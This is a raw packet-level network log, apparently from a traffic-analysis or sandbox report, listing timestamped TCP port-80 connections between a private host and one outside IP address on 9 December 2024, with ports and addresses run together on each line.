                                                                                                                                      Dec 9, 2024 00:27:46.995425940 CET4976580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:47.116231918 CET804976391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:47.116277933 CET804976591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:47.116298914 CET4976380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:47.116342068 CET4976580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:47.116477966 CET4976580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:47.116641045 CET804976491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:47.116689920 CET4976480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:47.237164974 CET804976591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:47.468242884 CET4976580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:47.587748051 CET804976591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:47.587762117 CET804976591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:47.587774038 CET804976591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:48.385843992 CET804976591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:48.436923027 CET4976580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:48.564502954 CET804976191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:48.564588070 CET4976180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:48.621589899 CET804976591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:48.671227932 CET4976580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:48.744646072 CET4976680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:48.863989115 CET804976691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:48.864065886 CET4976680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:48.864181042 CET4976680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:48.983705997 CET804976691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:49.218413115 CET4976680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:49.338093042 CET804976691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:49.338114023 CET804976691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:49.338177919 CET804976691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:50.307723999 CET804976691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:50.358730078 CET4976680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:50.541408062 CET804976691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:50.593097925 CET4976680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:50.665208101 CET4976580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:50.666928053 CET4976680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:50.667150974 CET4976780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:50.786490917 CET804976791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:50.786505938 CET804976691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:50.786683083 CET4976780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:50.786685944 CET4976680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:50.786727905 CET4976780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:50.906038046 CET804976791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:51.140060902 CET4976780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:51.259646893 CET804976791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:51.259705067 CET804976791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:51.259721041 CET804976791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:51.547075033 CET4976780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:51.547076941 CET4976880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:51.666446924 CET804976891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:51.666654110 CET4976880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:51.666685104 CET4976880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:51.667910099 CET4976980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:51.709306002 CET804976791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:51.786014080 CET804976891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:51.787192106 CET804976991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:51.787271023 CET4976980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:51.787400007 CET4976980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:51.801095963 CET804976791.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:51.801316023 CET4976780192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:51.906697989 CET804976991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:52.015172958 CET4976880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:52.134793043 CET804976891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:52.134807110 CET804976891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:52.140034914 CET4976980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:52.259460926 CET804976991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:52.259473085 CET804976991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:52.259529114 CET804976991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:52.963906050 CET804976891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:53.014987946 CET4976880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.102917910 CET804976991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:53.155585051 CET4976980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.197314024 CET804976891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:53.249341011 CET4976880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.337259054 CET804976991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:53.389967918 CET4976980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.465933084 CET4976880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.465962887 CET4976980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.466283083 CET4977080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.585685015 CET804977091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:53.585696936 CET804976891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:53.585779905 CET4976880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.585796118 CET4977080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.585968971 CET4977080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.586127996 CET804976991.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:53.586180925 CET4976980192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:53.705203056 CET804977091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:53.936991930 CET4977080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:54.056593895 CET804977091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:54.056610107 CET804977091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:54.056619883 CET804977091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:54.852792978 CET804977091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:54.905637026 CET4977080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:55.085331917 CET804977091.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:55.135981083 CET4977080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:55.198178053 CET4977180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:55.317696095 CET804977191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:55.317791939 CET4977180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:55.317920923 CET4977180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:55.438740015 CET804977191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:55.671339035 CET4977180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:55.792203903 CET804977191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:55.792215109 CET804977191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:55.792252064 CET804977191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:56.592921019 CET804977191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:56.640078068 CET4977180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:56.875097990 CET804977191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:56.921238899 CET4977180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:56.994710922 CET4977080192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:56.999125004 CET4977180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:56.999337912 CET4977380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:57.120023966 CET804977391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:57.120096922 CET4977380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:57.120151997 CET804977191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:57.120198965 CET4977180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:57.120341063 CET4977380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:57.241029024 CET804977391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:57.468347073 CET4977380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:57.589294910 CET804977391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:57.589307070 CET804977391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:57.589349985 CET804977391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.203296900 CET4977380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.203639984 CET4977480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.323519945 CET4977580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.324383020 CET804977491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.324470997 CET4977480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.324553967 CET4977480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.324773073 CET804977391.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.324824095 CET4977380192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.444015980 CET804977591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.444084883 CET4977580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.444175005 CET4977580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.445197105 CET804977491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.564954996 CET804977591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.671376944 CET4977480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.792037010 CET804977491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.793596983 CET804977491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.796325922 CET4977580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:58.917571068 CET804977591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.917599916 CET804977591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:58.917643070 CET804977591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:59.591886044 CET804977491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:59.640001059 CET4977480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:59.794362068 CET804977591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:59.825309992 CET804977491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:27:59.843121052 CET4977580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:27:59.874372005 CET4977480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.126099110 CET804977591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:00.171256065 CET4977580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.253618002 CET4977580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.253619909 CET4977480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.253958941 CET4978180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.373156071 CET804978191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:00.373178005 CET804977591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:00.373219967 CET4978180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.373292923 CET4977580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.373378992 CET4978180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.373682976 CET804977491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:00.373729944 CET4977480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.492597103 CET804978191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:00.718216896 CET4978180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:00.837512016 CET804978191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:00.837537050 CET804978191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:00.837553978 CET804978191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:01.685338974 CET804978191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:01.733777046 CET4978180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:01.917330027 CET804978191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:01.968120098 CET4978180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:02.043442965 CET4978880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:02.164525032 CET804978891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:02.164621115 CET4978880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:02.164783955 CET4978880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:02.287249088 CET804978891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:02.518383980 CET4978880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:02.639594078 CET804978891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:02.639617920 CET804978891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:02.639626980 CET804978891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:03.734600067 CET804978891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:03.780633926 CET4978880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:03.973225117 CET804978891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:04.014995098 CET4978880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.088726044 CET4978880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.088977098 CET4979480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.208271027 CET804979491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:04.208333015 CET4979480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.208441019 CET4979480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.208583117 CET804978891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:04.208631039 CET4978880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.327821970 CET804979491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:04.561964989 CET4979480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.682641029 CET804979491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:04.682677984 CET804979491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:04.682739019 CET804979491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:04.828270912 CET4979480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.828310966 CET4979580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.947695017 CET804979591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:04.949134111 CET4979680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.949177980 CET4979580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.949276924 CET4979580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:04.989299059 CET804979491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:05.068743944 CET804979691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:05.068756104 CET804979591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:05.068948984 CET4979680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:05.069119930 CET4979680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:05.188323975 CET804979691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:05.226149082 CET804979491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:05.226573944 CET4979480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:05.296349049 CET4979580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:05.415893078 CET804979591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:05.415905952 CET804979591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:05.421356916 CET4979680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:05.540754080 CET804979691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:05.540769100 CET804979691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:05.540780067 CET804979691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:06.327322960 CET804979591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:06.374391079 CET4979580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.420749903 CET804979691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:06.468130112 CET4979680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.562016964 CET804979591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:06.608748913 CET4979580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.653384924 CET804979691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:06.702495098 CET4979680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.785024881 CET4979580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.785361052 CET4979680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.785366058 CET4980280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.789835930 CET804978191.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:06.789908886 CET4978180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.906013012 CET804979591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:06.906081915 CET4979580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.906189919 CET804980291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:06.906250000 CET4980280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.906385899 CET4980280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:06.906390905 CET804979691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:06.906435966 CET4979680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:07.027400970 CET804980291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:07.265213013 CET4980280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:07.386132002 CET804980291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:07.386173010 CET804980291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:07.386224031 CET804980291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:08.197557926 CET804980291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:08.249385118 CET4980280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:08.433348894 CET804980291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:08.483763933 CET4980280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:08.555989027 CET4978180192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:08.559338093 CET4980880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:08.678646088 CET804980891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:08.678731918 CET4980880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:08.678859949 CET4980880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:08.798099995 CET804980891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:09.030721903 CET4980880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:09.150192976 CET804980891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:09.150214911 CET804980891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:09.150260925 CET804980891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:09.976177931 CET804980891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:10.030670881 CET4980880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:10.209222078 CET804980891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:10.249403954 CET4980880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:10.328484058 CET4980880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:10.328784943 CET4981480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:10.448072910 CET804981491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:10.448164940 CET4981480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:10.448210001 CET804980891.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:10.448260069 CET4980880192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:10.448299885 CET4981480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:10.567528963 CET804981491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:10.796397924 CET4981480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:10.915960073 CET804981491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:10.915976048 CET804981491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:10.915987015 CET804981491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:11.578491926 CET4981480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:11.578538895 CET4981580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:11.697921991 CET804981591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:11.698009968 CET4981580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:11.698103905 CET4981580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:11.698188066 CET804981491.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:11.698235989 CET4981480192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:11.698559046 CET4981680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:11.817320108 CET804981591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:11.817771912 CET804981691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:11.817843914 CET4981680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:11.817965031 CET4981680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:11.937199116 CET804981691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:12.046334982 CET4981580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:12.165698051 CET804981591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:12.165744066 CET804981591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:12.171358109 CET4981680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:12.290843964 CET804981691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:12.290873051 CET804981691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:12.290880919 CET804981691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.000525951 CET804981591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.046566010 CET4981580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.115823984 CET804981691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.171272993 CET4981680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.233383894 CET804981591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.280666113 CET4981580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.295846939 CET804980291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.295918941 CET4980280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.349203110 CET804981691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.390029907 CET4981680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.464029074 CET4981580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.464344978 CET4981680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.464346886 CET4982280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.583611012 CET804982291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.583622932 CET804981591.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.583695889 CET4981580192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.583808899 CET4982280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.583808899 CET4982280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.584316015 CET804981691.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.584364891 CET4981680192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:13.703855038 CET804982291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:13.937064886 CET4982280192.168.2.491.227.41.9
                                                                                                                                      Dec 9, 2024 00:28:14.056437016 CET804982291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:14.056452036 CET804982291.227.41.9192.168.2.4
                                                                                                                                      Dec 9, 2024 00:28:14.056477070 CET804982291.227.41.9192.168.2.4
